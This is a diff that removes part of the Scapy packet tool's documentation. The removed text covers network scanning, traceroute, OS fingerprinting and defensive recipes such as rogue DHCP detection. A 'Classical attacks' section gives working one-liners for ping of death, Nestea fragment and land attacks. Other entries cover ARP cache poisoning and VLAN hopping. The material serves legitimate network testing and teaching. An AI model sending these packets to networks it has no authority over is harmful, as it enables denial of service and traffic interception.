- >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
-
-Checking RST responses will reveal closed ports on the target.
-
-IP Scan
--------
-
-A lower level IP Scan can be used to enumerate supported protocols::
-
- >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
-
-
-ARP Ping
---------
-
-The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method::
-
- >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
-
-Answers can be reviewed with the following command::
-
- >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
-
-Scapy also includes a built-in arping() function which performs similar to the above two commands:
-
- >>> arping("192.168.1.*")
-
-
-ICMP Ping
----------
-
-Classical ICMP Ping can be emulated using the following command::
-
- >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP())
-
-Information on live hosts can be collected with the following request::
-
- >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
-
-
-TCP Ping
---------
-
-In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below::
-
- >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
-
-Any response to our probes will indicate a live host. We can collect results with the following command::
-
- >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
-
-
-UDP Ping
---------
-
-If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0::
-
- >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
-
-Once again, results can be collected with this command:
-
- >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
-
-
-
-Classical attacks
------------------
-
-Malformed packets::
-
- >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
-
-Ping of death (Muuahahah)::
-
- >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
-
-Nestea attack::
-
- >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
- >>> send(IP(dst=target, id=42, frag=48)/("X"*116))
- >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
-
-Land attack (designed for Microsoft Windows)::
-
- >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
-
-ARP cache poisoning
--------------------
-This attack prevents a client from joining the gateway by poisoning
-its ARP cache through a VLAN hopping attack.
-
-Classic ARP cache poisoning::
-
- >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
- inter=RandNum(10,40), loop=1 )
-
-ARP cache poisoning with double 802.1q encapsulation::
-
- >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
- /ARP(op="who-has", psrc=gateway, pdst=client),
- inter=RandNum(10,40), loop=1 )
-
-TCP Port Scanning
------------------
-
-Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error::
-
- >>> res, unans = sr( IP(dst="target")
- /TCP(flags="S", dport=(1,1024)) )
-
-Possible result visualization: open ports
-
-::
-
- >>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
-
-
-IKE Scanning
-------------
-
-We try to identify VPN concentrators by sending ISAKMP Security Association proposals
-and receiving the answers::
-
- >>> res, unans = sr( IP(dst="192.168.1.*")/UDP()
- /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
- /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
- )
-
-Visualizing the results in a list::
-
- >>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
-
-
-
-Advanced traceroute
--------------------
-
-TCP SYN traceroute
-^^^^^^^^^^^^^^^^^^
-
-::
-
- >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
-
-Results would be::
-
- >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
- 192.168.1.1 time-exceeded
- 68.86.90.162 time-exceeded
- 4.79.43.134 time-exceeded
- 4.79.43.133 time-exceeded
- 4.68.18.126 time-exceeded
- 4.68.123.38 time-exceeded
- 4.2.2.1 SA
-
-
-UDP traceroute
-^^^^^^^^^^^^^^
-
-Tracerouting an UDP application like we do with TCP is not
-reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP,
-NTP, etc.) to deserve an answer::
-
- >>> res, unans = sr(IP(dst="target", ttl=(1,20))
- /UDP()/DNS(qd=DNSQR(qname="test.com"))
-
-We can visualize the results as a list of routers::
-
- >>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
-
-
-DNS traceroute
-^^^^^^^^^^^^^^
-
-We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function::
-
- >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
- Begin emission:
- ..*....******...******.***...****Finished to send 30 packets.
- *****...***...............................
- Received 75 packets, got 28 answers, remaining 2 packets
- 4.2.2.1:udp53
- 1 192.168.1.1 11
- 4 68.86.90.162 11
- 5 4.79.43.134 11
- 6 4.79.43.133 11
- 7 4.68.18.62 11
- 8 4.68.123.6 11
- 9 4.2.2.1
- ...
-
-
-Etherleaking
-------------
-
-::
-
- >>> sr1(IP(dst="172.16.1.232")/ICMP())
- <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
- <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>
-
-ICMP leaking
-------------
-
-This was a Linux 2.0 bug::
-
- >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
- <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
- <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
- <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
- <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>
-
-
-VLAN hopping
-------------
-
-In very specific conditions, a double 802.1q encapsulation will
-make a packet jump to another VLAN::
-
- >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
-
-
-Wireless sniffing
------------------
-
-The following command will display information similar to most wireless sniffers::
-
->>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))
-
-The above command will produce output similar to the one below::
-
- 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC
- 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy
- 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy
- 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
-
-
-Recipes
-=======
-
-Simplistic ARP Monitor
-----------------------
-
-This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.
-
-::
-
- #! /usr/bin/env python
- from scapy.all import *
-
- def arp_monitor_callback(pkt):
- if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
- return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
-
- sniff(prn=arp_monitor_callback, filter="arp", store=0)
-
-Identifying rogue DHCP servers on your LAN
--------------------------------------------
-
-.. index::
- single: DHCP
-
-Problem
-^^^^^^^
-
-You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously.
-Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.
-
-Solution
-^^^^^^^^
-
-Use Scapy to send a DHCP discover request and analyze the replies::
-
- >>> conf.checkIPaddr = False
- >>> fam,hw = get_if_raw_hwaddr(conf.iface)
- >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
- >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds
- Begin emission:
- Finished to send 1 packets.
- .*...*..
- Received 8 packets, got 2 answers, remaining 0 packets
-
-In this case we got 2 replies, so there were two active DHCP servers on the test network::
-
- >>> ans.summary()
- Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
- Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
- }}}
- We are only interested in the MAC and IP addresses of the replies:
- {{{
- >>> for p in ans: print p[1][Ether].src, p[1][IP].src
- ...
- 00:de:ad:be:ef:00 192.168.1.1
- 00:11:11:22:22:33 192.168.1.11
-
-Discussion
-^^^^^^^^^^
-
-We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received.
-This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet.
-
-Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus.
-
-See also
-^^^^^^^^
-
-http://en.wikipedia.org/wiki/Rogue_DHCP
-
-
-
-Firewalking
------------
-
-TTL decrementation after a filtering operation
-only not filtered packets generate an ICMP TTL exceeded
-
- >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
- >>> for s,r in ans:
- if r.haslayer(ICMP) and r.payload.type == 11:
- print s.dport
-
-Find subnets on a multi-NIC firewall
-only his own NIC’s IP are reachable with this TTL::
-
- >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
- >>> for i in unans: print i.dst
-
-
-TCP Timestamp Filtering
-------------------------
-
-Problem
-^^^^^^^
-
-Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.
-
-Solution
-^^^^^^^^
-
-To allow Scapy to reach target destination additional options must be used::
-
- >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
-
-
-
-Viewing packets with Wireshark
-------------------------------
-
-.. index::
- single: wireshark()
-
-Problem
-^^^^^^^
-
-You have generated or sniffed some packets with Scapy and want to view them with `Wireshark <http://www.wireshark.org>`_, because of its advanced packet dissection abilities.
-
-Solution
-^^^^^^^^
-
-That's what the ``wireshark()`` function is for:
-
- >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets
- >>> wireshark(packets) # show them with Wireshark
-
-Wireshark will start in the background and show your packets.
-
-Discussion
-^^^^^^^^^^
-
-The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup.
-
-Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.
-
-You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting.
-
-
-
-OS Fingerprinting
------------------
-
-ISN
-^^^
-
-Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop::
-
- >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
-
-Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:
-
- >>> temp = 0
- >>> for s, r in ans:
- ... temp = r[TCP].seq - temp
- ... print("%d\t+%d" % (r[TCP].seq, temp))
- ...
- 4278709328 +4275758673
- 4279655607 +3896934
- 4280642461 +4276745527
- 4281648240 +4902713
- 4282645099 +4277742386
- 4283643696 +5901310
-
-nmap_fp
-^^^^^^^
-
-Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first::
-
- >>> load_module("nmap")
-
-If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by::
-
- >>> conf.nmap_base
-
-Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine::
-
- >>> nmap_fp("192.168.1.1",oport=443,cport=1)
- Begin emission:
- .****..**Finished to send 8 packets.
- *................................................
- Received 58 packets, got 7 answers, remaining 1 packets
- (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
- 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
- w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
-
-p0f
-^^^
-
-If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by::
-
- >>> conf.p0f_base
-
-For example to guess OS from a single captured packet:
-
- >>> sniff(prn=prnp0f)
- 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
- -> 74.125.19.104:www (distance 0)
- <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
-
-
-
diff --git a/doc/scapy_logo.png b/doc/scapy_logo.png
deleted file mode 100644
index 5b8e9ebd..00000000
--- a/doc/scapy_logo.png
+++ /dev/null
Binary files differ